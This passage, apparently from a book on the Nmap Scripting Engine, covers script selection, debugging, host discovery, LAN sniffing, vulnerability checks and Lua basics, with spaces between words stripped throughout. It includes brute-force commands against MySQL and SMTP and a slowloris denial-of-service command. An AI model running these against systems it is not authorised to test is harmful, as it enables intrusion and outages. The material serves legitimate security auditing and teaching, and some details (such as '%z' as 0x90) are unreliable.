Ofcourse,wecancombinewildcardsandexpressions.Forexample,let’srunallthescriptswhosenamesbeginwithhttp-,butexcludethehttp-slowloris,http-brute,http-form-fuzzer,andhttp-enumscripts:
#nmap--script"http-*andnot(http-slowlorisorhttp-bruteorhttp-
enumorhttp-form-fuzzer)"<target>
Wecanalsocombinewildcardselectionwithexpressionswhenselectingcategories.Thenextcommandexecutesallscriptswhosenamesbeginwithhttp-thatarenotlistedintheexploitcategory:
#nmap--script"http-*andnot(exploit)"<target>
NSEscriptargumentsThe--script-argsNmapoptionisusedtosetargumentsinNSEscripts.Forexample,ifyouwouldliketosetthehttplibraryargument,useragent,Youcanusethisexpression:
$nmap-sV--scripthttp-title--script-argshttp.useragent="Mozilla1337"
<target>
NotalotofNmapusersknowthisbutyoucanalsoomitthescriptnamewhensettingarguments:
$nmap-p80--scripthttp-trace--script-argspath<target>
Youcanusetheprecedingexpressioninsteadofusingthis:
$nmap-p80--scripthttp-trace--script-argshttp-trace.path<target>
Ifyouareworkingwithscriptsthatshareargumentnames,youmustavoidnameconflictsmanually:
$nmap--scripthttp-majordomo2-dir-traversal,http-axis2-dir-traversal--
script-argshttp-axis2-dir-traversal.uri=/axis2/,uri=/majordomo/<target>
$nmap--scripthttp-majordomo2-dir-traversal,http-axis2-dir-traversal--
script-argsuri=/axis2/,http-majordomo2-dir-traversal.uri=/majordomo/
<target>
$nmap--scripthttp-majordomo2-dir-traversal,http-axis2-dir-traversal--
script-argshttp-axis2-dir-traversal.uri=/axis2/,http-majordomo2-dir-
traversal.uri=/majordomo/<target>
NoteThealiasinscriptargumentswillonlyworkiftheNSEscriptusesthestdnse.get_script_args()functiontoloadthearguments(refertoChapter4,ExploringtheNmapScriptingEngineAPIandLibraries).Youareencouragedtoalwaysusethisfunction,butthereareafewscriptsthatweresubmittedbeforethefunctionwasintroduced.
LoadingscriptargumentsfromafileIfyouareplanningtorunseveralscans,itisprobablyagoodideatowritedownyourscriptargumentsinafiletosavesometyping.NSEsupportsloadingNSEargumentsfromanabsoluteorrelativepathwiththe--script-args-fileoption.Theargumentscontainedinthefilemustbeseparatedbycommasornewlines:
nmap--script"discovery,broadcast"--script-args-filenmap-args.txt
<target>
Thecontentsofthenmap-args.txtfileareasfollows:
http.useragent=NotNmap
http.max-connections=50
userdb=/path/to/usernames.lst
passdb=/path/to/dictionary.lst
ForcingtheexecutionofNSEscriptsNmapcanforcetheexecutionofaNSEscriptbyprepending+tothescriptname:
$nmap--script+<scriptselection><<arg1,arg2,…>
Let’ssaywewanttoforcetheexecutionofthehttp-titleNSEscriptagainsttheservicerunningonport1212:
$nmap--script+http-title-p1212192.168.1.210
Withoutthe+sign,thescriptwillnotrunbut,sinceweaddedit,thereportcomesbackwiththefollowing:
Nmapscanreportfor192.168.1.210
Hostisup(0.00026slatency).
PORTSTATESERVICE
1212/tcpopenlupa
|_http-title:W00t!
DebuggingNSEscriptsIfyouneedtoanalyzethetrafficsentandreceivedbyNSE,usethe--script-traceoption.Forexample,ifyouwouldliketoseethepayloadssentbytheNSEscriptsintheexploitcategory,youcanusethisexpression:
#nmap--scriptexploit--script-trace<target>
YoucanalsoturnonthedebuggingmodeofNmapwiththe-d[1-9]flag.Thisflagcanbefollowedbyanintegerthatdenotesthedebugginglevelandshouldbebetween1and9.Thehigherthelevel,themoreverboseistheoutput:
#nmap-sV–-scriptexploit-d3<target>
The--packet-traceoptionincludesallthepacketssentandreceived,notonlythetrafficgeneratedbyNSE:
#nmap-O--scriptmyscript.nse--packet-trace<target>
ScanphasesandNSENmapscansaredividedintoseveralphasesbutNSEisonlyinvolvedinthreeofthem:pre-scanning,scriptscanning,andpost-scanning.TheexecutionruledefinedbyafunctionintheNSEscriptdetermineswhetheritrunsinanyofthosephases.
NoteTolearnmoreaboutthephasesofNmapscans,checkoutAppendixA,ScanPhases.
NSEscriptrulesNSEscriptscanhaveoneoffourdifferenttypesofexecutionrule:
prerule
postrule
portrule
hostrule
Let’sreviewsomeexamplesofthesedifferentscriptrules.Thiswillalsohelpyoulearntodebugscriptsforthosetimeswhenyourunintoproblems:
prerule():Thefollowingisasnippetfromthetargets-sniffer.nseNSEscript.ItillustrateshowwecanuseaprerulefunctiontocheckwhetherNmapisrunninginprivilegedmodeandwhetheritcandeterminethenetworkinterfacecorrectly:
prerule=function()
returnnmap.is_privileged()and
(stdnse.get_script_args("targets-sniffer.iface")or
nmap.get_interface())
postrule():Thessh-hostkeyscriptusesapostrulefunctiontodetecthoststhatsharethesameSSHpublickeys:
postrule=function()return(nmap.registry.sshhostkey~=nil)end
portrule(host,port):Thefollowingisasnippetoftheportrulefunctionofthejdwp-injectscript.Thisportrulefunctionwillmatchaservicedetectionstringandspecificportprotocolandstate:
portrule=function(host,port)
—JDWPwillclosetheportifthereisnovalidhandshakewithin
2
—seconds,Servicedetection'sNULLprobedetectsitas
tcpwrapped.
returnport.service=="tcpwrapped"
andport.protocol=="tcp"andport.state=="open"
and
not(shortport.port_is_excluded(port.number,port.protocol))
end
hostrule():Thesniffer-detectscript’shostruledeterminesthatthescriptwillonlyexecutewithlocalEthernethosts:
hostrule=function(host)
ifnmap.address_family()~='inet'then
stdnse.print_debug("%sisIPv4compatibleonly.",
SCRIPT_NAME)
returnfalse
end
ifhost.directly_connected==trueand
host.mac_addr~=niland
host.mac_addr_src~=niland
host.interface~=nilthen
localiface=nmap.get_interface_info(host.interface)
ififaceandiface.link=='ethernet'then
returntrue
end
end
returnfalse
end
ApplicationsofNSEscriptsAsyouprobablyknowbynow,theapplicationsofNSEcoverawiderangeoftasks.NmapgivesaccesstoNSEdeveloperstoa“hostandport”tablecontainingrelevantinformationcollectedduringthescan,suchasservicename,operatingsystem,protocol,andsoon.Theinformationavailabledependsontheoptionsusedduringthescan.
Unfortunately,thereisnotenoughspaceinonechaptertocoverallthegreatNSEscripts.Ifyouareinterestedinlearningmoreapplications,IrecommendcheckingoutmypreviousbooknamedNmap6:NetworkExplorationandSecurityAuditingCookbook,PaulinoCalderónPale,PacktPublishing,whereIcoveredindetailover120differenttasksthatcanbedonewithNmap.Itsofficialwebsiteisathttp://nmap-cookbook.com.
Information-gatheringInformation-gatheringisoneofthestrengthsofNSE,andthecollectionofscriptsavailableisastonishing.Thesescriptsusedifferenttechniquesanddatasourcestoobtainadditionalhostinformationsuchasvirtualhosts,serviceversions,userlists,andevengeolocation.Keepinmindthatsomeofthesescriptsqueryexternalservices,andtheaccuracyoftheinformationdependsoneachdatabase.
CollectingUPNPinformationUPNPprotocolsweredesignedtoallownetworkdevicestofindeachother,andsomeseriousflawshavebeendiscoveredinalotofimplementationsofthesesetsofprotocols.Theupnp-infoscriptwasdesignedtoqueryaUPNPservicetoobtainadditionalinformationaboutthedevice:
#nmap-sU-p1900--scriptupnp-info<target>
Iftheprecedingcommandrunssuccessfully,theamountofinformationreturnedbytheservicedependsonthetypeofdeviceandUPNPimplementation:
Nmapscanreportfor192.168.1.1
Hostisup(0.067slatency).
PORTSTATESERVICE
1900/udpopenupnp
|upnp-info:
|192.168.1.1
|Server:Custom/1.0UPnP/1.0Proc/Ver
|Location:http://192.168.1.1:5431/dyndev/uuid:3872c05b-c117-17c1-
5bc0-12345
|Webserver:LINUX/2.4UPnP/1.0BRCM400/1.0
|Name:BroadcomADSLRouter
|Manufacturer:Comtrend
|ModelDescr:(null)
|ModelName:AR-5381u
|ModelVersion:1.0
|Name:WANDevice.1
|Manufacturer:Comtrend
|ModelDescr:(null)
|ModelName:AR-5381u
|ModelVersion:1.0
|Name:WanConnectionDevice.1
|Manufacturer:Comtrend
|ModelDescr:(null)
|ModelName:AR-5381u
|_ModelVersion:1.0
FindingallhostnamesresolvingtothesameIPaddressThehostmap-*setofscriptslistsallthehostnamespointingtothesameIPaddress.Thisisusefulwhenworkingwithwebserversthatreturndifferentcontentdependingonthehostnameheader.Currently,therearethreescripts:
hostmap-bfk
hostmap-robtex
hostmap-ip2hosts
Wecanrunthematthesametimewiththefollowingcommand:
$nmap-sn--script"hostmap*"<target>
Ifthereareanyrecordsontheexternaldatabases,theywillbeshownintheresults:
Nmapscanreportforpacktpub.com(83.166.169.228)
Hostisup(0.13slatency).
Hostscriptresults:
|hostmap-bfk:
|hosts:
|packtpub.com
|_83.166.169.228
|hostmap-robtex:
|hosts:
|_packtpub.com
|hostmap-ip2hosts:
|hosts:
|www.packtpub.com
|packtpub.com
|_83.166.169.228
AdvancedhostdiscoveryTheflexibilityofallowingpre-scanningandpost-scanningscriptsgivesustheabilitytoincludetargetson-the-fly,analyzescanresults,andevenlaunchadditionalprobestodetectmoretargethosts.ThebroadcastNSEcategorycollectsaveryinterestingsetofscriptsthatdoesn’tsendtrafficdirectlytothetargethostusingmulticastrequests.Ontheotherhand,somescripts(suchastargets-sniffer)merelylistentothelocalnetworktofindnewtargets,withoutgeneratinganytraffic.
DiscoveringhostswithbroadcastpingsThebroadcast-pingscriptattemptstodiscoverhostsbysendingapingrequesttothebroadcastaddress,255.255.255.255.Themachinesconfiguredtorespondtobroadcastrequestswillrevealthemselves:
#nmap--scriptbroadcast-ping
Pre-scanscriptresults:
|broadcast-ping:
|IP:192.168.1.202MAC:08:00:27:16:4f:71
|IP:192.168.1.206MAC:40:25:c2:3f:c7:24
|_Use--script-args=newtargetstoaddtheresultsastargets
WARNING:Notargetswerespecified,so0hostsscanned.
Nmapdone:0IPaddresses(0hostsup)scannedin3.25seconds
Allthehoststhatrespondedtothebroadcastpingwillbeshown.Additionally,usingthenewtargetsargument,thesehostswillbeaddedtothescanqueue:
#nmap--scriptbroadcast-ping--script-argsnewtargets
StartingNmap6.47SVN(http://nmap.org)at2014-11-3022:05CST
Pre-scanscriptresults:
|broadcast-ping:
|_IP:192.168.0.8MAC:6c:ad:f8:7b:83:ab
Nmapscanreportfor192.168.0.8
Hostisup(0.0083slatency).
Notshown:998closedports
PORTSTATESERVICE
8008/tcpopenhttp
8009/tcpopenajp13
MACAddress:6C:AD:F8:7B:83:AB(AzurewaveTechnologies)
ListeningtoyourLANtodiscovertargetsThetargets-snifferscriptisverypeculiarbecauseitisoneofthefewscriptsthatactuallysniffaLANnetworkinordertodiscovernewlocaltargets.Thisscriptrequiresprivilegedmodeandthatyousettheinterfaceforusewiththe-eNmapoption:
#nmap-sL--script=targets-sniffer-e<interface>
StartingNmap6.47SVN(http://nmap.org)at2014-11-3022:11CST
Pre-scanscriptresults:
|targets-sniffer:Sniffed4address(es).
|17.172.239.128
|192.168.0.2
|239.255.255.250
|_192.168.0.8
WARNING:Notargetswerespecified,so0hostsscanned.
Nmapdone:0IPaddresses(0hostsup)scannedin10.20seconds
Optionally,thesetargetscanalsobeaddedtothescanningqueueonthefly:
#nmap-sL--script=targets-sniffer--script-args=newtargets-e<interface>
StartingNmap6.47SVN(http://nmap.org)at2014-11-3022:15CST
Pre-scanscriptresults:
|targets-sniffer:Sniffed5address(es).
|224.0.0.251
|fe80::7a31:c1ff:fec1:9c0a
|192.168.0.8
|192.168.0.2
|_239.255.255.250
Nmapscanreportfor192.168.0.8
Hostisup(0.0066slatency).
Notshown:98closedports
PORTSTATESERVICE
8008/tcpopenhttp
8009/tcpopenajp13
MACAddress:6C:AD:F8:7B:83:AB(AzurewaveTechnologies)
Nmapscanreportfor192.168.0.2
Hostisup(0.0033slatency).
Notshown:99closedports
PORTSTATESERVICE
49152/tcpopenunknown
MACAddress:00:18:F5:0F:AD:01(ShenzhenStreamingVideoTechnologyCompany
Limited)
Nmapdone:4IPaddresses(2hostsup)scannedin16.01seconds
PasswordauditingBrute-forcepassword-auditingscriptshavegrowntocoveralotofdifferentservices,thankstothebruteNSElibrary.ThislibraryallowsNSEdeveloperstoeasilylaunchdictionaryattacksbyimplementingasimpleclassthatusesotherNSElibrariessuchasunpwd,whichgivesaccesstoausernameandpassworddatabase.Ifanycredentialsarefoundduringtheexecution,theywillbeaddedtoacredentialsdatabasethatcanbereadbyotherscripts.
Brute-forcingMySQLpasswordsThemysql-brutescriptwillhelpusperformbrute-forcepasswordauditingagainstlocalorremoteMySQLservers.Inmostconfigurations,MySQLwillnotimposealimitofloginretries,sothisisagoodvectorforexploitingweakpasswords:
$nmap-p3306--scriptmysql-brute<target>
Ifanycredentialsarefound,theywillbeincludedinthescriptoutput:
3306/tcpopenmysql
|mysql-brute:
|root:<empty>=>Validcredentials
|_test:test=>Validcredentials
Brute-forcingSMTPpasswordsThesmtp-brutescriptwaswrittentohelpperformbrute-forcepassword-auditingattacksagainstSMTPservers,asthenamestates:
$nmap-p25--scriptsmtp-brute<target>
Theoutputofthisscriptissimilartothatofotherscriptsthatdependonthebrutelibrary:
PORTSTATESERVICEREASON
25/tcpopenstmpsyn-ack
|smtp-brute:
|Accounts
|acc0:test-Validcredentials
|acc1:test-Validcredentials
|acc3:password-Validcredentials
|acc4:12345-Validcredentials
|Statistics
|_Performed3190guessesin81seconds,averagetps:39
VulnerabilityscanningNSEoffersagreatframeworkforpenetrationtesterswhoneedtocreatetoolstodetectandexploitvulnerabilities.Nmapoffersalotofoptionssuchaslow-levelpacketcreationandhandling,librariesusedtocommunicatewiththemostpopularprotocols,andaninterfacetoreportvulnerabilities.Forthosewhodon’tneedtowritenewtoolsbutsimplywanttoscantheirnetwork,thereareveryusefulscriptstodetectcommonmisconfigurationsandautomatetedioustaskssuchasfindingforgottenbackupfilesandperformingsecuritychecks.
DetectinginsecureMySQLserverconfigurationsThemysql-auditscriptinspectstheconfigurationofyourMySQLserveragainstalistofsecuritycontrols.Thisscriptrequiresthatyousetupsomearguments:
$nmap-p3306--scriptmysql-audit--script-args'mysql-audit.username="
<username>",mysql-audit.password="<password>",mysql-
audit.filename=/usr/local/share/nmap/nselib/data/mysql-cis.audit'<target>
Eachcontrolinthedatabasewillbeaudited.ThefollowingaretheresultsofacleanMySQLserverinstallationonanUbuntuserver:
PORTSTATESERVICE
3306/tcpopenmysql
|mysql-audit:
|CISMySQLBenchmarksv1.0.2
|3.1:Skipsymboliclinks=>PASS
|3.2:Logsnotonsystempartition=>PASS
|3.2:Logsnotondatabasepartition=>PASS
|4.1:SupportedversionofMySQL=>REVIEW
|Version:5.1.41-3ubuntu12.10
|4.4:Removetestdatabase=>PASS
|4.5:Changeadminaccountname=>FAIL
|4.7:VerifySecurePasswordHashes=>PASS
|4.9:Wildcardsinuserhostname=>PASS
|4.10:Noblankpasswords=>PASS
|4.11:Anonymousaccount=>PASS
|5.1:Accesstomysqldatabase=>REVIEW
|VerifythefollowingusersthathaveaccesstotheMySQLdatabase
|userhost
|rootlocalhost
|rootbuilder64
|root127.0.0.1
|debian-sys-maintlocalhost
|5.2:DonotgrantFILEprivilegestononAdminusers=>PASS
|5.3:DonotgrantPROCESSprivilegestononAdminusers=>PASS
|5.4:DonotgrantSUPERprivilegestononAdminusers=>PASS
|5.5:DonotgrantSHUTDOWNprivilegestononAdminusers=>PASS
|5.6:DonotgrantCREATEUSERprivilegestononAdminusers=>PASS
|5.7:DonotgrantRELOADprivilegestononAdminusers=>PASS
|5.8:DonotgrantGRANTprivilegestononAdminusers=>PASS
|6.2:DisableLoaddatalocal=>FAIL
|6.3:Disableoldpasswordhashing=>PASS
|6.4:Safeshowdatabase=>FAIL
|6.5:Secureauth=>FAIL
|6.6:Granttables=>FAIL
|6.7:Skipmerge=>FAIL
|6.8:Skipnetworking=>FAIL
|6.9:Safeusercreate=>FAIL
|6.10:Skipsymboliclinks=>FAIL
|
|_Theauditwasperformedusingthedb-account:root
Detectingwebserversvulnerabletoslowdenial-of-serviceattacksSlowdenial-of-serviceattacksopenasmanyconnectionsaspossibleandsendtheminimumamountofdata,takingthelongestpossibletimetoattempttoconsumeallavailablenetworkresources.Thehttp-slowlorisandhttp-slowloris-checkscriptsallowthedetectionofwebserversvulnerabletotheseattacks.RobertHansen,betterknownas“RSnake,”haspublishedatoolanddocumentedthisvulnerabilityverywellathttp://ha.ckers.org/slowloris/.Also,asecurityresearchernamedHugoGonzalezdiscoveredthattheseattackscanbeportedtoIPv6aswell.
Runningthehttp-slowlorisscriptwithahighnumberofconcurrentconnectionswilllaunchaslowdenial-of-serviceattack:
#nmap-p80--scripthttp-slowloris--max-parallelism300<target>
Ifthehostisvulnerable,theoutputwillreturnsomethingsimilartothis:
PORTSTATESERVICEREASON
80/tcpopenhttpsyn-ack
|http-slowloris:
|Vulnerable:
|theDoSattacktook+5m35s
|with400concurrentconnections
|_and1900sentqueries
DetectingSSLserversvulnerabletoCVE-2014-3566ThevulnerabilityknownasCVE-2014-3566,alsoknownasPoodle,allowsdecryptionofsecurecommunicationsusingSSLversion3.Althoughtherearenewersecurityprotocols,downgradeattackscanbeperformedonmodernwebbrowserstoforceconnectionstofallbacktoSSLv3.Therefore,SSLv3isconsideredobsoleteandinsecurenow.
TodetectservicesthatallowSSLv3CBCciphers,wecouldusethessl-poodleNSEscript:
nmap-sV--version-all--scriptssl-poodle-p-<target>
Vulnerableserviceswillreturnthefollowingoutput:
PORTSTATESERVICEREASON
443/tcpopenhttpssyn-ack
|ssl-poodle:
|VULNERABLE:
|SSLPOODLEinformationleak
|State:VULNERABLE
|IDs:CVE:CVE-2014-3566OSVDB:113251
|TheSSLprotocol3.0,asusedinOpenSSLthrough1.0.1iand
|otherproducts,usesnondeterministicCBCpadding,whichmakes
iteasier
|forman-in-the-middleattackerstoobtaincleartextdataviaa
|padding-oracleattack,akathe"POODLE"issue.
|Disclosuredate:2014-10-14
|Checkresults:
|TLS_RSA_WITH_3DES_EDE_CBC_SHA
|References:
|https://www.imperialviolet.org/2014/10/14/poodle.html
|http://osvdb.org/113251
|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|_https://www.openssl.org/~bodo/ssl-poodle.pdf
SettingupadevelopmentenvironmentTostartdevelopingNSEscripts,youdon’tneedanythingbutafreshcopyofNmapandyourfavoritetexteditor(vi,nano,gedit,andsoon).However,youneedtoconfigureyourtexteditortousetwospaceindentsinsteadoftabsifyouareplanningonsendingyourcontributionstothedevelopmentmailinglist.
ThereisafilenamedHACKINGinyourNmapinstallationdirectorythatyoushouldread.ItcontainsusefultipsforpeopleinterestedinNSEdevelopment.Ifyouareworkingwithvi,youmightwanttoaddthefollowingtoyour.vimrcfile.ItcontainsacoupleofadditionstotheruleslistedintheHACKINGfile:
syntaxenable
auBufRead,BufNewFile*.nsesetfiletype=lua
setnocindent
setexpandtab
setsofttabstop=2
setshiftwidth=2
setcopyindent
NoteYoucanalsodownloadthefilefrommyGitHubrepositoryathttps://github.com/cldrn/nmap-nse-scripts/blob/master/.vimrc.
HalcyonIDEForthosewholoveworkingwithgraphicalenvironments,thereisanunofficialIDE,namedHalcyonIDE,createdexclusivelytodevelopNSEscripts.ItiswritteninJavaandallowsdeveloperstotestanddebugscriptswithinitself,providingfeaturessuchascodecompletionandsyntaxhighlighting.ThefollowingscreenshotshowstheHalcyonIDE:
ThedevelopmentofthisIDEisstillinitsearlystagessoIrecommendsubmittinganybugsyouencounter.TheofficialGitHubrepositorycanbefoundathttps://github.com/s4n7h0/Halcyon.
AddingnewscriptsNSEscriptsarelistedinafilenamedscript.db.HavingyourNSEscriptsincludedinthisdatabaseallowsyoutocallthemdirectlybyname(withoutthe.nseextension).Toaddnewscriptstoyourscript.dbdatabase,yousimplyneedtocopyyour.nsefilestothescriptsdirectory,whichisusually<NMAPinstall>/scripts,andrunthefollowingcommand:
#nmap--script-updatedb
SummaryInthischapter,weintroducedNSEanditsamazingcapabilities.Bynow,youshouldhaveinstalledthelatestversionofNmapandhaveyourdevelopmentenvironmentreadytogo.TheNmapoptionscoveredinthischapterwillbeallyouneedtocomfortablyrunanddebugNSEscripts.Paycloseattentiontothedifferentscriptrules(prerule,postrule,portrule,andhostrule)thatwillbeshownthroughoutthebook.
NowwearereadytostartwritingNSEscriptsandgetfamiliarwithalltheavailablelibraries.Inthefollowingchapters,youwilldiscoverthetruepowerofNSE.ThenextchaptercoversthefundamentalsofLuaprogramming,soprepareyourselftolearnthisamazingscriptinglanguage.
Chapter2.LuaFundamentalsLuaisadynamicallyinterpretedscriptinglanguagecharacterizedasfast,flexible,portable,small,andyetverypowerful.Ithasbeenchosenfortheseveryreasonsbyavarietyofwell-recognizedprojectsinmanyindustries,includinginformationsecurity.NmapScriptingEngine(NSE)usesLuatoallowuserstoeasilyextendthecapabilitiesofNmapbywritingscriptsthathaveaccesstotheinformationcollectedbythetool.
EntirebookscanbewrittenaboutLuaanditswonderfulflexibilityandamazingfeatures.ThischapterwillmerelyintroduceyoutothebasicsofwhatyouneedtoknowtostartworkingonyourownNSEscripts.IfyouwouldliketodigdeeperintoLuaafterreadingthischapter,Ihighlyrecommendcheckingouttheironlinedocumentationathttp://www.lua.org/docs.html,orsupportingtheprojectbybuyingoneoftheirofficialbooksathttp://www.lua.org/donations.html#books.
Inthisbook,wewillworkwithLua5.2asthisistheversionincludedinthelatestNmapbuild(6.47SVN)atthetimeofwritingthisbook.However,thebasicprinciplesandfeaturesdescribedherecertainlyapplytoolderandnewerversions,sincewewillnotuseanydeprecatedfunctions.
YoumayskipthischapterifyouarefamiliarwiththefollowingconceptsinLua:
FlowcontrolstructuresDatatypesStringhandlingCommondatastructuresI/OoperationsCo-routinesMetatablesOtherspecialquirksaboutLuarelatedtocomments,memorymanagement,semantics,andsoon
QuicknotesaboutLuaNowwewillcoverotherconceptsinLua.Ifyouarefamiliarwithotherscriptinglanguages,youwillfindthissectionveryusefulbecauseitaimstogetyoufamiliarwithtopicssuchascomments,arrayindexes,semantics,anddatatypes.
CommentsAcommentcanbeanythingbetweentwohyphensandtheendoftheline:
--Thisisacomment
Commentblocksarealsosupported.Theyaredelimitedbythe--[[and]]characters:
--[[
Thisisamulti-line
commentblock.
]]
DummyassignmentsThereareoccasionswhenyoudon’tneedalltheinformationreturnedbyafunction;inLua,youcanusedummyassignmentstodiscardareturnvalue.Theoperatoris_(underscore).Forexample,inthefollowingcodeline,wediscardthefirsttworeturnvaluesofstring.findandstoreonlythethirdvalue:
local_,_,item=string.find(<string>,<patternwithcapture>)
IndexesIndexesstartatone,notzero:
z={"a","b","c"}
z[1]="b"--Thisassignmentwillchangethecontentofthetableto
{"b","b","c"}
However,youcaninitializeanarrayatanyvalue:
nmap={}
forx=-1337,0do
nmap[x]=1
end
NoteKeepinmindthatallstandardLualibrarieswillsticktothisconvention.
SemanticsDuetoLua’sflexibility,youmightencounterdifferentsemantics.Inthefollowingexample,boththelinescallingthegmatchfunctionareperfectlyvalidandproducethesameresult:
Localstr="nmap"
string.gmatch(str,"%z");
str:gmatch("%z")
TipOnlyfunctionswithnomorethanoneparametercanbecalledusingtheobj:funcnotation.
CoercionLuaprovidesautomaticconversionbetweenstringsandnumbers:
surprise="Pi="..math.pi
--Thestringnowcontains"Pi=3.1415926535898"withouttheneedof
casting.
SafelanguageLuaisconsideredasafelanguagebecauseyoucanalwaystraceanddetectprogramerrors,andyoucan’tcauseamemorycorruptionnomatterwhatyoudo.However,youneedtobecarefulwhenyouintroduceyourownCmodules.
BooleansAllvaluesexceptfalseandnilaretreatedastrue:
str="AAA"
num=-1
zero=0
--thefollowingstatementwillevaluateto"true"
ifstrandnumandzerothen
…—Thiswillexecutebecauseeven0evaluatestotrue
end
FlowcontrolstructuresSomeclassiccontrolstructuresareimplementedinLua,suchastheif-thenconditionalstatements,afewdifferentlooptypes,andthebreakandcontinuefunctions.Let’sreviewthesestructuresbriefly.Theobjectiveofthefollowingsectionsistogetyoufamiliarwiththesyntaxusedinthislanguage.
Conditionalstatements–if-then,else,andelseifTheif-thenconditionalstatementevaluatesanexpressionandexecutesablockofcodeiftheexpressionistrue.Itusesthefollowingsyntax:
ifstatus.bodythen
--Dosomething
end
Luaalsosupportsanelse-ifconditionalstatementwiththeelseifkeyword:
ifstatus.code==200then
--Dosomething
elseifstatus.code==301then
--Dosomethingelse
end
Anelsestatementdoesnotneedanyexpressiontobeevaluated:
ifstatus.code==200then
--Dosomething
elseifstatus.code==301then
--Dosomethingelse
else
--Ifnoconditionsaretrue…
end
Loops–whileThewhileloopstructureisverysimilartowhatwefindinotherscriptinglanguagessuchasPython:
localx=1
while(x<1338)do
print(x)
x=x+1
end
Loops–repeatTherepeatlooprunsthebodyuntilthesetconditionbecomestrue:
done=false
repeat
…--Dosomething
untildone
Loops–forTherearetwoloopformats,oneforiteratingthroughnumericindexesandanotherforworkingwithiterators:
forx=1,1337do
print(x)
end
Theoutputoftheprecedingcodeisasfollows:
1
2
3
…
1337
Thestepnumber(itcanbenegative)canbesetbypassingathirdargumenttotheloopstatement.Forexample,toiteratedecreasinganumber,pass-1asthestepnumber:
forx=1337,1,-1do
print(x)
end
Hereistheoutputoftheprecedingcode:
1337
1336
1335
…
1
NoteRememberthatforloopsmustendwiththeterminatorkeyword,end.
Thepairs()iteratorfunctionallowsiterationthroughthekeyandvaluesofagiventable:
t={}
t["nmap"]="FTW"
t[1337]="nse"
forindex,valueinpairs(t)do
print(index,value)
end
Theprecedingsnippetwillproducethefollowingoutput:
nmap,ftw
1337,nse
Theitemsreturnedbythepairs()iteratorarenotguaranteedtobeinnumericorder.Usetheipairs()functionifyouneedtoreturnthevaluesorderedbyanumerickey:
a={}
a[2]="FTW"
a[1]="WEBSEC"
fori,valinipairs(a)do
print(i,val)
end
Theoutputoftheprecedingcodeisasfollows:
1,WEBSEC
2,FTW
DatatypesLuahasthefollowingbasicdatatypes:
number:Thisstoresintegeranddouble-floatnumbersstring:Thisisthesequenceofbytesboolean:Thisstoresfalseandtruevaluestable:Thisstoresassociativearraysthatcanbeusedtorepresentmultipledatastructuresfunction:Thisisanobjectofafunctionnil:Thisindicatesthatadatatypeorvariablelacksavalueuserdata:ThisexposesthevaluesofCobjects(orothernon-Luaobjects)thread:Thisisanindependentthreadofexecution
StringhandlingLua’sstringlibrarysupportsalotofhandystringoperations.StringswillobviouslybeusedfrequentlywhenwritingNSEscriptssincetheyareperfectforrepresentingbytesequences.Let’sreviewthemostcommonfunctionsandoperatorsusedinstringhandling.
CharacterclassesCharacterclassesarespecialoperatorsusedinpatterns.Wewillneedthemwhenmatchingorsubtractingsubstrings,sokeeptheminmindwhenwereviewpatternsandstringoperations:
Characterclasses Represents
. Allcharacters
%a Letters
%c Controlcharacters
%d Digits
%l Lowercaseletters
%p Punctuationcharacters
%s Spacecharacters
%u Uppercaseletters
%w Alphanumericcharacters
%x Hexadecimaldigits
%z Null(0x90)
MagiccharactersThefollowingcharactershavespecialfunctionswithinpatterns:
Operator Function
() Parenthesesencapsulatethepatterntocapture
. Anycharacter
% Escapecharacterformagiccharactersandnon-alphanumericcharacters
+ Repetitionoperator
- Repetitionoperator
* Repetitionoperator
? Repetitionoperator
[ Definessets
^ Representsthecomplementoftheset
$ Representstheendofastring
PatternsPatternsareusedtomatchstrings,andtheyareverypowerful.ThinkaboutthemassimplifiedregularexpressionsinLua.Characterclassesandcapturesareusedincombinationwithpatternsthatsupportgreedyandnon-greedymatchingtoallowprogrammerstoperformadvancedstringmatching,substitution,andextraction.
Forexample,thecharacterclassthatrepresentsanullbyte(0x90)is%z.Toremoveallnullbytesfromabuffer,wemightdosomethinglikethis:
…
buffer=io.read()
buffer=string.gsub(buffer,"%z","")--Thiswillremoveallnullbytes
fromthebuffer
…
Let’ssaywewouldliketomatchastringcontainingaversionnumberthathasthefollowingformat:
Version1.21
Amatchingpatterncouldbethis:
Version%s%d%p%d%d
Theprecedingpatternwillmatchstringssuchasthese:
Version1.21
Version8,32
Version4!20
Version3!14
Wecancreatesetsofcharactersusingsquarebrackets.Asetwillmatchanyofthecharactersenclosedinthebrackets:
print(string.match("Nmap","[mn]ap"))
map
print(string.match("N3o","N[e3]o"))
N3o
>print(string.match("Errorcode:52c","%d%d[0-9,abc]"))
52c
NoteInternally,patternsarenothingmorethanstringsinLua;thus,thesamerulesapplytothem.
CapturesCapturesareveryhandyastheyallowdeveloperstoselectaportionofapatterntobereturnedtothecallingfunction.Capturesaredelimitedbyparentheses,andtheyaremostlyusedtoextractinformationfrompatterns.
>_,_,d,m,y=string.find("15/11/1986","(%d+)/(%d+)/(%d+)")
>print(d,m,y)
15 11 1986
Thefollowingexampleisasnippetfromthehttp-majordomo2-dir-traversalscript.Itusesthepatterncapture(.*)tostorethecontentofaremotedelimitedbythe<pre>and<!--Majordomohelp_footformatfile-->strings:
…
local_,_,rfile_content=string.find(response.body,'<pre>(.*)<!%-%-
Majordomohelp_footformatfile%-%->')
…
TipRememberthatLuapatternsallowtheuseof-,thenon-greedyrepetitionoperatorthatsimplifiesstringmatching.ThisisveryusefulwhenworkingwithHTMLandJavaScript.
RepetitionoperatorsThefollowingrepetitionoperatorsaffectthepreviouscharacterorcharactersetindifferentways,dependingontheoperator.Thisfunctionalityallowsustomatchstringswithunknownlengths.
Operator Feature
? Optional
* Zeroormoretimes,andasmanytimesaspossible
+ Atleastonce,andasmanytimesaspossible
- Zeroormoretimes,andafewtimesifpossible
Examples:
>print(string.match("52c111d111","[0-9,abc]+"))
52c111
>print(string.match("XAXXXXX","[0-9,abc]?XX"))
XX
>print(string.match("1XX","[0-9,abc]?XX"))
1XX
>print(string.match("dXX","[0-9,abc]?XX"))
XX
>=string.match("blahblah<tag>blahblah","<.*>")
<tag>
>=string.match("blahblah<>blahblah","<.*>")
<>
ConcatenationToconcatenatestrings,usethe..operator:
localc="Hey"
localb=c.."nmaper!"
print(b)
Hereistheoutputoftheprecedingcode:
Heynmaper!
NoteString-to-number(andviceversa)conversionisdoneautomaticallybyLua.
FindingsubstringsTherewillbealotofoccasionswhenyouwillneedtoknowwhetheracertainstringisasubstringofanotherstringobject—forexample,tomatchtheresponseofanetworkrequest.WecandothiswithLuainafewdifferentwayswithsomehelpfromthefollowingfunctions:
